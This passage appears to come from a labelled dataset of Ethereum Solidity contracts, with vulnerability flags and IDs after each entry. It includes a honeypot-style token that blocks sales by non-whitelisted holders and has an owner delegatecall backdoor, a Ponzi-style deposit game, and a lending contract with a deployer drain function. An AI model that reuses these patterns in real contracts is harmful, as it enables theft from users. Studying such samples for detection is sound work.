uint amount = balanceOf[msg.sender];
balanceOf[msg.sender] = 0;
if (amount > 0) {
if (msg.sender.send(amount)) {
FundTransfer(msg.sender, amount, false);
} else {
balanceOf[msg.sender] = amount;
}
}
}
if (fundingGoalReached && beneficiary == msg.sender) {
if (beneficiary.send(amountRaised)) {
FundTransfer(beneficiary, amountRaised, false);
} else {
fundingGoalReached = false;
}
}
}
} | 1 | 5,266 |
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
interface IOneSplitAudit {
event ImplementationUpdated(address indexed newImpl);
event Swapped(
address indexed fromToken,
address indexed destToken,
uint256 fromTokenAmount,
uint256 destTokenAmount,
uint256 minReturn,
uint256[] distribution,
uint256[] flags,
address referral,
uint256 feePercent
);
function swap(
address fromToken,
address destToken,
uint256 amount,
uint256 minReturn,
uint256[] memory distribution,
uint256 flags
) external payable returns (uint256);
function getExpectedReturn(
address fromToken,
address destToken,
uint256 amount,
uint256 parts,
uint256 flags
) external view returns (uint256 returnAmount, uint256[] memory distribution);
function getExpectedReturnWithGas(
address fromToken,
address destToken,
uint256 amount,
uint256 parts,
uint256 flags,
uint256 destTokenEthPriceTimesGasPrice
)
external
view
returns (
uint256 returnAmount,
uint256 estimateGasAmount,
uint256[] memory distribution
);
function getExpectedReturnWithGasMulti(
address[] memory tokens,
uint256 amount,
uint256[] memory parts,
uint256[] memory flags,
uint256[] memory destTokenEthPriceTimesGasPrices
)
external
view
returns (
uint256[] memory returnAmounts,
uint256 estimateGasAmount,
uint256[] memory distribution
);
function swapWithReferral(
address fromToken,
address destToken,
uint256 amount,
uint256 minReturn,
uint256[] memory distribution,
uint256 flags,
address referral,
uint256 feePercent
) external returns (uint256);
function swapMulti(
address[] memory tokens,
uint256 amount,
uint256 minReturn,
uint256[] memory distribution,
uint256[] memory flags
) external returns (uint256);
function swapWithReferralMulti(
address[] memory tokens,
uint256 amount,
uint256 minReturn,
uint256[] memory distribution,
uint256[] memory flags,
address referral,
uint256 feePercent
) external returns (uint256 returnAmount);
}
library Helper {
function safeApprove(
address token,
address to,
uint256 value
) internal {
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x095ea7b3, to, value));
require(
success && (data.length == 0 || abi.decode(data, (bool))),
'Helper::safeApprove: approve failed'
);
}
function safeTransfer(
address token,
address to,
uint256 value
) internal {
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0xa9059cbb, to, value));
require(
success && (data.length == 0 || abi.decode(data, (bool))),
'Helper::safeTransfer: transfer failed'
);
}
function safeTransferFrom(
address token,
address from,
address to,
uint256 value
) internal {
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x23b872dd, from, to, value));
require(
success && (data.length == 0 || abi.decode(data, (bool))),
'Helper::transferFrom: transferFrom failed'
);
}
function safeTransferETH(address to, uint256 value) internal {
(bool success, ) = to.call{value: value}(new bytes(0));
require(success, 'Helper::safeTransferETH: ETH transfer failed');
}
}
pragma solidity >=0.7.5 <0.8.0;
pragma abicoder v2;
contract DePayRouterV1OneInchSwap01 {
using SafeMath for uint256;
address public constant ETH = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;
uint256 public immutable MAXINT = type(uint256).max;
address public immutable OneSplitAudit;
bool public immutable delegate = true;
constructor(address _OneSplitAudit) {
OneSplitAudit = _OneSplitAudit;
}
function _getDistribution(uint256[] calldata amounts) internal returns (uint256[] memory buf) {
uint256 len = amounts.length - 3;
buf = new uint256[](len);
for (uint256 i = 0; i < len; i += 1) {
buf[i] = amounts[3 + i];
}
}
function execute(
address[] calldata path,
uint256[] calldata amounts,
address[] calldata addresses,
string[] calldata data
) external payable returns (bool) {
if ((path[0] != ETH) && IERC20(path[0]).allowance(address(this), OneSplitAudit) < amounts[0]) {
Helper.safeApprove(path[0], OneSplitAudit, MAXINT);
}
IOneSplitAudit oneSplit = IOneSplitAudit(OneSplitAudit);
if (path[0] == ETH) {
address(OneSplitAudit).call{value: amounts[0]}(
abi.encodeWithSelector(
oneSplit.swap.selector,
path[0],
path[1],
amounts[0],
amounts[1],
_getDistribution(amounts),
amounts[2]
)
);
} else {
address(OneSplitAudit).call(
abi.encodeWithSelector(
oneSplit.swap.selector,
path[0],
path[1],
amounts[0],
amounts[1],
_getDistribution(amounts),
amounts[2]
)
);
}
return false;
}
} | 0 | 1,312 |
pragma solidity ^0.4.21;
contract Token {
function transfer(address receiver, uint amount) public returns(bool);
function transferFrom(address sender, address receiver, uint amount) public returns(bool);
function balanceOf(address holder) public view returns(uint);
}
contract Casino {
mapping(address => bool) public authorized;
}
contract Owned {
address public owner;
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function Owned() public {
owner = msg.sender;
}
function changeOwner(address newOwner) onlyOwner public {
owner = newOwner;
}
}
contract SafeMath {
function safeSub(uint a, uint b) pure internal returns(uint) {
assert(b <= a);
return a - b;
}
function safeAdd(uint a, uint b) pure internal returns(uint) {
uint c = a + b;
assert(c >= a && c >= b);
return c;
}
function safeMul(uint a, uint b) pure internal returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
}
contract AceWinsLending is Owned, SafeMath {
enum StatePhases { deposit, bankroll, update, withdraw }
uint public cycle;
Casino public casino;
Token public token;
mapping(uint => uint) public initialStakes;
mapping(uint => uint) public finalStakes;
uint public totalStakes;
uint public numHolders;
address[] public stakeholders;
mapping(address => uint) public stakes;
uint8 public depositGasCost;
uint8 public withdrawGasCost;
uint public updateGasCost;
address cards;
uint public minStakingAmount;
uint public maxUpdates;
uint public maxBatchAssignment;
mapping(uint => uint) lastUpdateIndex;
event StakeUpdate(address holder, uint stake);
function AceWinsLending(address tokenAddr, address casinoAddr) public {
token = Token(tokenAddr);
casino = Casino(casinoAddr);
maxUpdates = 200;
maxBatchAssignment = 200;
cards = msg.sender;
cycle = 1;
}
function ()
public
payable
{
}
function setCasinoAddress(address casinoAddr) public onlyOwner {
casino = Casino(casinoAddr);
}
function setDepositGasCost(uint8 gasCost) public onlyAuthorized {
depositGasCost = gasCost;
}
function setWithdrawGasCost(uint8 gasCost) public onlyAuthorized {
withdrawGasCost = gasCost;
}
function setUpdateGasCost(uint gasCost) public onlyAuthorized {
updateGasCost = gasCost;
}
function setMaxUpdates(uint newMax) public onlyAuthorized{
maxUpdates = newMax;
}
function setMinStakingAmount(uint amount) public onlyAuthorized {
minStakingAmount = amount;
}
function setMaxBatchAssignment(uint newMax) public onlyAuthorized {
maxBatchAssignment = newMax;
}
function deposit(uint value, uint allowedMax, uint8 v, bytes32 r, bytes32 s) public depositPhase {
require(verifySignature(msg.sender, allowedMax, v, r, s));
if (addDeposit(msg.sender, value, numHolders, allowedMax))
numHolders = safeAdd(numHolders, 1);
totalStakes = safeSub(safeAdd(totalStakes, value), depositGasCost);
}
function batchAssignment(address[] to, uint[] value) public onlyAuthorized depositPhase {
require(to.length == value.length);
require(to.length <= maxBatchAssignment);
uint newTotalStakes = totalStakes;
uint numSH = numHolders;
for (uint8 i = 0; i < to.length; i++) {
newTotalStakes = safeSub(safeAdd(newTotalStakes, value[i]), depositGasCost);
if(addDeposit(to[i], value[i], numSH, 0))
numSH = safeAdd(numSH, 1);
}
numHolders = numSH;
assert(newTotalStakes < tokenBalance());
totalStakes = newTotalStakes;
}
function addDeposit(address to, uint value, uint numSH, uint allowedMax) internal returns (bool newHolder) {
require(value > 0);
uint newStake = safeSub(safeAdd(stakes[to], value), depositGasCost);
require(newStake >= minStakingAmount);
if(allowedMax > 0){
require(newStake <= allowedMax);
assert(token.transferFrom(to, address(this), value));
}
if(stakes[to] == 0){
addHolder(to, numSH);
newHolder = true;
}
stakes[to] = newStake;
emit StakeUpdate(to, newStake);
}
function useAsBankroll() public onlyAuthorized depositPhase {
initialStakes[cycle] = totalStakes;
totalStakes = 0;
assert(token.transfer(address(casino), initialStakes[cycle]));
}
function startNextCycle() public onlyAuthorized {
require(finalStakes[cycle] > 0);
cycle = safeAdd(cycle, 1);
}
function closeCycle(uint value) public onlyAuthorized bankrollPhase {
require(tokenBalance() >= value);
finalStakes[cycle] = safeSub(value, safeMul(updateGasCost, numHolders)/100);
}
function updateUserShares() public onlyAuthorized updatePhase {
uint limit = safeAdd(lastUpdateIndex[cycle], maxUpdates);
if(limit >= numHolders) {
limit = numHolders;
totalStakes = finalStakes[cycle];
if (cycle > 1) {
lastUpdateIndex[cycle - 1] = 0;
}
}
address holder;
uint newStake;
for(uint i = lastUpdateIndex[cycle]; i < limit; i++){
holder = stakeholders[i];
newStake = computeFinalStake(stakes[holder]);
stakes[holder] = newStake;
emit StakeUpdate(holder, newStake);
}
lastUpdateIndex[cycle] = limit;
}
function unlockWithdrawals(uint value) public onlyOwner {
require(value <= tokenBalance());
totalStakes = value;
}
function withdraw(uint amt)
public {
require(msg.sender == cards);
require(amt <= address(this).balance);
msg.sender.transfer(amt);
}
function kill() public onlyOwner {
assert(token.transfer(owner, tokenBalance()));
selfdestruct(owner);
}
function tokenBalance() public view returns(uint) {
return token.balanceOf(address(this));
}
function addHolder(address holder, uint numSH) internal{
if(numSH < stakeholders.length)
stakeholders[numSH] = holder;
else
stakeholders.push(holder);
}
function removeHolder(address holder, uint index) internal{
require(stakeholders[index] == holder);
numHolders = safeSub(numHolders, 1);
stakeholders[index] = stakeholders[numHolders];
}
function computeFinalStake(uint initialStake) internal view returns(uint) {
return safeMul(initialStake, finalStakes[cycle]) / initialStakes[cycle];
}
function verifySignature(address to, uint value, uint8 v, bytes32 r, bytes32 s) internal view returns(bool) {
address signer = ecrecover(keccak256(to, value, cycle), v, r, s);
return casino.authorized(signer);
}
function getPhase() internal view returns (StatePhases) {
if (initialStakes[cycle] == 0) {
return StatePhases.deposit;
} else if (finalStakes[cycle] == 0) {
return StatePhases.bankroll;
} else if (totalStakes == 0) {
return StatePhases.update;
}
return StatePhases.withdraw;
}
modifier onlyAuthorized {
require(casino.authorized(msg.sender));
_;
}
modifier depositPhase {
require(getPhase() == StatePhases.deposit);
_;
}
modifier bankrollPhase {
require(getPhase() == StatePhases.bankroll);
_;
}
modifier updatePhase {
require(getPhase() == StatePhases.update);
_;
}
modifier withdrawPhase {
require(getPhase() == StatePhases.withdraw);
_;
}
} | 1 | 3,448 |
pragma solidity ^0.4.24;
contract fastum{
uint public start = 6704620;
address constant private PROMO = 0x9c89290daC9EcBBa5efEd422308879Df9B123eBf;
modifier saleIsOn() {
require(block.number > start);
_;
}
uint public currentReceiverIndex = 0;
uint public MIN_DEPOSIT = 0.03 ether;
uint private PROMO_PERCENT = 45;
address public investorWithMaxCountOfTransaction;
LastDeposit public last;
constructor() public payable{}
struct Deposit {
address depositor;
uint128 deposit;
}
struct LastDeposit {
address depositor;
uint blockNumber;
}
Deposit[] public queue;
function () saleIsOn private payable {
if(msg.value == 0 && msg.sender == last.depositor) {
require(gasleft() >= 220000, "We require more gas!");
require(last.blockNumber + 45 < block.number, "Last depositor should wait 45 blocks (~9-11 minutes) to claim reward");
uint128 money = uint128((address(this).balance));
last.depositor.transfer((money*85)/100);
for(uint i=0; i<queue.length; i++){
uint c;
uint max;
c = getDepositsCount(queue[i].depositor);
if(max < c){
max = c;
investorWithMaxCountOfTransaction = queue[i].depositor;
}
}
investorWithMaxCountOfTransaction.transfer(money*15/100);
delete last;
}
else if(msg.value > 0 && msg.sender != PROMO){
require(gasleft() >= 220000, "We require more gas!");
require(msg.value >= MIN_DEPOSIT);
queue.push(Deposit(msg.sender, uint128(msg.value)));
last.depositor = msg.sender;
last.blockNumber = block.number;
uint promo = msg.value*PROMO_PERCENT/100;
PROMO.transfer(promo);
}
}
function getDeposit(uint idx) public view returns (address depositor, uint deposit){
Deposit storage dep = queue[idx];
return (dep.depositor, dep.deposit);
}
function getDepositsCount(address depositor) public view returns (uint) {
uint c = 0;
for(uint i=currentReceiverIndex; i<queue.length; ++i){
if(queue[i].depositor == depositor)
c++;
}
return c;
}
} | 1 | 3,812 |
pragma solidity ^0.4.23;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(
address _spender,
uint _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
returns (bool)
{
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
modifier hasMintPermission() {
require(msg.sender == owner);
_;
}
function mint(
address _to,
uint256 _amount
)
hasMintPermission
canMint
public
returns (bool)
{
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
contract FreezableToken is StandardToken {
mapping (bytes32 => uint64) internal chains;
mapping (bytes32 => uint) internal freezings;
mapping (address => uint) internal freezingBalance;
event Freezed(address indexed to, uint64 release, uint amount);
event Released(address indexed owner, uint amount);
function balanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner) + freezingBalance[_owner];
}
function actualBalanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner);
}
function freezingBalanceOf(address _owner) public view returns (uint256 balance) {
return freezingBalance[_owner];
}
function freezingCount(address _addr) public view returns (uint count) {
uint64 release = chains[toKey(_addr, 0)];
while (release != 0) {
count++;
release = chains[toKey(_addr, release)];
}
}
function getFreezing(address _addr, uint _index) public view returns (uint64 _release, uint _balance) {
for (uint i = 0; i < _index + 1; i++) {
_release = chains[toKey(_addr, _release)];
if (_release == 0) {
return;
}
}
_balance = freezings[toKey(_addr, _release)];
}
function freezeTo(address _to, uint _amount, uint64 _until) public {
require(_to != address(0));
require(_amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
emit Transfer(msg.sender, _to, _amount);
emit Freezed(_to, _until, _amount);
}
function releaseOnce() public {
bytes32 headKey = toKey(msg.sender, 0);
uint64 head = chains[headKey];
require(head != 0);
require(uint64(block.timestamp) > head);
bytes32 currentKey = toKey(msg.sender, head);
uint64 next = chains[currentKey];
uint amount = freezings[currentKey];
delete freezings[currentKey];
balances[msg.sender] = balances[msg.sender].add(amount);
freezingBalance[msg.sender] = freezingBalance[msg.sender].sub(amount);
if (next == 0) {
delete chains[headKey];
} else {
chains[headKey] = next;
delete chains[currentKey];
}
emit Released(msg.sender, amount);
}
function releaseAll() public returns (uint tokens) {
uint release;
uint balance;
(release, balance) = getFreezing(msg.sender, 0);
while (release != 0 && block.timestamp > release) {
releaseOnce();
tokens += balance;
(release, balance) = getFreezing(msg.sender, 0);
}
}
function toKey(address _addr, uint _release) internal pure returns (bytes32 result) {
result = 0x5749534800000000000000000000000000000000000000000000000000000000;
assembly {
result := or(result, mul(_addr, 0x10000000000000000))
result := or(result, _release)
}
}
function freeze(address _to, uint64 _until) internal {
require(_until > block.timestamp);
bytes32 key = toKey(_to, _until);
bytes32 parentKey = toKey(_to, uint64(0));
uint64 next = chains[parentKey];
if (next == 0) {
chains[parentKey] = _until;
return;
}
bytes32 nextKey = toKey(_to, next);
uint parent;
while (next != 0 && _until > next) {
parent = next;
parentKey = nextKey;
next = chains[nextKey];
nextKey = toKey(_to, next);
}
if (_until == next) {
return;
}
if (next != 0) {
chains[key] = next;
}
chains[parentKey] = _until;
}
}
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
contract FreezableMintableToken is FreezableToken, MintableToken {
function mintAndFreeze(address _to, uint _amount, uint64 _until) public onlyOwner canMint returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
emit Mint(_to, _amount);
emit Freezed(_to, _until, _amount);
emit Transfer(msg.sender, _to, _amount);
return true;
}
}
contract Consts {
uint public constant TOKEN_DECIMALS = 18;
uint8 public constant TOKEN_DECIMALS_UINT8 = 18;
uint public constant TOKEN_DECIMAL_MULTIPLIER = 10 ** TOKEN_DECIMALS;
string public constant TOKEN_NAME = "DAPSX";
string public constant TOKEN_SYMBOL = "DAPSX";
bool public constant PAUSED = false;
address public constant TARGET_USER = 0x0CDB7862C36eFB403b5bA97E07C8BBca2100A253;
bool public constant CONTINUE_MINTING = false;
}
contract MainToken is Consts, FreezableMintableToken, BurnableToken, Pausable
{
event Initialized();
bool public initialized = false;
constructor() public {
init();
transferOwnership(TARGET_USER);
}
function name() public pure returns (string _name) {
return TOKEN_NAME;
}
function symbol() public pure returns (string _symbol) {
return TOKEN_SYMBOL;
}
function decimals() public pure returns (uint8 _decimals) {
return TOKEN_DECIMALS_UINT8;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transferFrom(_from, _to, _value);
}
function transfer(address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transfer(_to, _value);
}
function init() private {
require(!initialized);
initialized = true;
if (PAUSED) {
pause();
}
address[1] memory addresses = [address(0x0cdb7862c36efb403b5ba97e07c8bbca2100a253)];
uint[1] memory amounts = [uint(30000000000000000000000000000)];
uint64[1] memory freezes = [uint64(0)];
for (uint i = 0; i < addresses.length; i++) {
if (freezes[i] == 0) {
mint(addresses[i], amounts[i]);
} else {
mintAndFreeze(addresses[i], amounts[i], freezes[i]);
}
}
if (!CONTINUE_MINTING) {
finishMinting();
}
emit Initialized();
}
} | 1 | 5,178 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
